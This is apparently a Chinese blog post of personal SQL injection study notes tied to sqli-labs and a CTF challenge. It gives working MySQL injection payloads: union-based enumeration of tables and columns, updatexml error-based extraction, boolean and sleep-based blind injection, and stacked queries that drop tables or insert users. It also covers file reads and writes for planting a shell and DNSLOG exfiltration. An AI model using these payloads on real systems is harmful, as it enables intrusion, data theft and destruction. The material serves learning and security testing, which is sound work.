SQL注入学习记录一

前置知识:

1.mysql数据库的一些基本使用:增删改查

2.python脚本的使用

3.了解php中常见的与mysql相关的函数和类

0x01:数据库基础

1.基础操作

查看库名:
mysql> show databases;
创建库:
mysql> creat database test;
删除库:
mysql> drop database test;
使用库:
mysql> user test
创建表:
mysql> create table test(
-> `id` int(11),
-> `name` varchar(255)
->);

表的一些基本操作:

1.insert(增
	insert into test values('1','yer');
2.delete(删
	delete from test where xxxx;
3.update(改
	update test set name='x' where id = 1;
4.select(查
	select * from test;
	# * 实现输出所有字段

2.常用的变量、符号、函数

常用变量:
database() //查看当前数据名
user() //用户
version() //mysql版本
@@basedir //安装路径
逻辑运算符
1.& and
2.|| or
3.^ xor
常用函数
1.字符串截取:
substr(database(),1,1) //从1位置开始截取长度为1  substring
mid(database(),1,1)
left(database(),1) //左边开始截取长度为1
right(database(),1)
2.编码函数
ascii()
hex()
char()
3.文件函数
load_file //读取文件内容
0x02:闭合

1.闭合

如果语句中有多余的和单引号或者其他符号就会报错,所有要进行闭合

常见注释符:

%23(#)
--+
;%00  //利用00截断
`
or '1'='1

ban了注释符和单引号

使用反斜杠进行转义
0x03:常见注入方法

1.联合查询注入

基本要求:
1.查询列数必须一致
2.查询语句的查询的各列类型、顺序最好一致

步骤:
1.闭合
2.判断字段数
3.判断结果输出位置
4.爆库、爆表、爆列
#order by:如果后面接的是整形的话,根据第几个字段进行排序
#union:合并结果
#information_schema数据库中,table表提供关于数据库中表的信息,columns表提供表中列信息

利用sqlilabs进行试验

查询字段数:
order by 4
查询结果输出位置:
union select 1,2,3
爆库:
union select 1,2,database()
爆表:
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
爆列:
union select 1,2,group_concat(column_name) from information_schema.columns where table_name=''

2.报错注入

在没法用联合查询时使用,报错注入就是利用了数据库的某些机制,人为的制造错误条件,使得查询结果能够出现在错误信息中

原理:

路径写入其他格式,就会报错并且会返回我们写入非法格式内容,我们可以利用这个得到我们想得到的内容
tips:
报错注入有长度限制,不同的函数限制不一样

常用函数:

1.updatexml:更新xml文档的函数
2.extractvalue:对xml文档进行查询的函数

//updatexml的最大长度是32位的,所以有所局限,如果密码长度超过了32位就不会被显示出来,可以用right函数

常用语句:

updatexml(1,concat(0x7e,database(),0x7e),1)
//之后修改中间concat的语句即可

3.盲注

根据sqlilabs进行学习

只有两种回显(永真 永假)的时候,为布尔盲注

步骤:
1.闭合
2.找到永真和永假的两种情况
3.利用这两种情况进行对数据进行一位一位的获取

涉及函数:
substr
ascii

语句:

and ascii(substr(database(),1,1))>1

通过时间差导致的两种不同的回显的注入,为时间盲注

时间盲注中可以使用if表达式和sleep函数
//if(expr1,1,sleep(5))
//如果expr1为true则搜索1,反之则触发sleep实现延时差
1.sleep
2.benchmarkdui
3.笛卡尔积

爆破还可以利用python脚本

4.堆叠注入

mysql

1' ;show tables# (查看表)
1' ;create table test like users#(创建新表)
1' ;drop table test#(删除新创建的表)
1' ;select 1,2,3#(查询数据)
1' ;select load_file('c:/tmpupbbn.php')#(加载文件)
1' ;insert into users(id,username,password)
values('100','new','new')#(修改数据)
1' ;rename tables 

利用 HANDLER 读取数据

1';handler ` ` open;handler ` ` read first;handler ` ` close;#
0x04:文件读写

可以将数据库中的数据写入文件中

条件:

1.设置security-file-priv为Null
2.设置路径
3.文件不存在
4.有权限

文件读取函数:

load_file('文件绝对路径')

写文件函数:

into outfile
into dumpfile
//区别在于,因为into outfile函数会在行末端写入新行更致命的是会转义换行符,所有如果是利用mydql写一些dll或者其他二进制可执行文件,那么这个文件可能会被破坏,这时候我们用into dumpfile就能导出一个完整能执行的二进制文件

写文件–>写shell

读文件—DNSLOG外带

DNSLOG
在这里插入图片描述


前置知识:

1.UNC路径:

(只存在于windows中

unc路径就是类似\\softer这样的形式的网络路径
格式:\\servername\sharename 其中servername是服务器名,sharename是共享资源的名称

条件:

1.设置security-file-priv为null
2.目标为windows

学习资料:

https://www.anquanke.con/post/id/205376

[BJDCTF 2nd]简单注入

布尔盲注

0x01:打开场景

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值